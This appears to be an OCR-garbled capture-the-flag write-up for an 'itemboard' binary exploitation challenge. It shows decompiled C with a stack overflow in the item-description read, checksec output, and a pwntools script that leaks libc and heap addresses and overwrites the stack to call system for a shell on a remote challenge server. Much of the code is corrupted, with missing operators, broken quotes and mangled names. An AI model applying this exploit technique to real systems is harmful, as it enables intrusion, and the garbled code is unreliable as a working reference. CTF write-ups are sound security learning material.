writeup_itemboard
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void _ cdecl new_item()

{

int cnt; // eax@1

char buf[1024]; // [sp+6h] [bp-416h]@1
int content_len; // [sp+404h] [bp-Ch]@1
Item *item; // [sp+408h] [bp-8h]@1

item (Item *)malloc(©x18ulLl); // size = 0x18
//
// 6x8 : char * name
// 6x8 : char * description
// 6x8 : void * item_free
cnt items_cnt++;
item_array[cnt] item;
item->name (char *)malloc(@x20ulLL);
item->free (void (*)(ItemStruct *))item_free;
puts("New Item");
puts("Item name?");
fflush(stdout);
read_until(@, buf, ©x20, '\n'); // name len :
strcpy(item->name, buf);
puts("Description's len?");
fflush(stdout);
content_len read_num();
item->description (char *)malloc(content_len);
puts("Description?");
fflush(stdout);
read until(@, buf, content_len, '\n'); // overflow
strcpy(item->description, buf);
puts("Add Item Successfully!");

FEIX L

read until(@, buf, content_len, '\n'); // overflow

strcpy(item->description, buf);
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0000000000000410 db 1024 dup(?)
0000000000000010 db ; undefined
000000000V VOF db ; undefined
000000000V OE db ; undefined
000000000000000D db ; undefined
000000000000000C content_len dd
000000000000V item dqg
00000000PRAPRR00 S db 8 dup(?)
00000000PPP00008 I db 8 dup(?)
0000000000000010

0000000000000010 ; end of stack variables
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sir@sir-PC:~/desktop$ checksec it
[*] '/home/sir/desktop/it’
Arch: amd64-64-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
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from pwn import

context.log level 'debug'’
context.terminal [ 'deepin-terminal’,
#p = process('./it")

p remote("pwn2.jarvisoj.com", 9887)
el f= ELF('./it")

libc ELF('./bc.so.6")

if args.G:
gdb.attach(p)

def add(name,num,data):
p.recvuntil('choose:\n")

.sendline('1")
.recvuntil('Item name?\n")
.sendline(name)
.recvuntil("Description's len?\n")
.sendline(str(num))
.recvuntil('Description?\n")
.sendline(data)

List():
p.recvuntil('choose:\n")
p.sendline('2")

show(i):
.recvuntil('choose:\n")
.sendline('3")
.recvuntil('Which item?\n")

.sendline(str(i))




def remove(i):
.recvuntil( 'choose:\n")
.sendline('4")
.recvuntil('Which item?\n")

.sendline(str(i))

add('sir',0x80,"'a'*8)
add('zyc',32,'b"'*8)

p.recvuntil('Description:")
libc_addr = u64(p.recv(6) '\x00"'*2) 0x3c27b8
system_addr = libc_addr + 0x46590

free_hook libc_addr libc.symbols[' free_hook']

p.recvuntil('Description:")
heap_addr ub4(p.recv(6) '\x00"'*2) 0x1000 * 0x1000

success("libc_addr: " hex(libc_addr))

success("system_addr:

hex(system_addr))
success("heap_addr: " hex(heap_addr))

success("__free_hook_addr: hex(__free_hook))

pay = p64(system_addr) 'a'*1024 + p64(heap_addr + 0x110 )
payl = p64(0x6873) 'a'*1024 + p64(heap_addr + 0x10 )
add('/sh',len(pay),pay)

add('/sh',len(payl),payl)

remove (1)

p.interactive()
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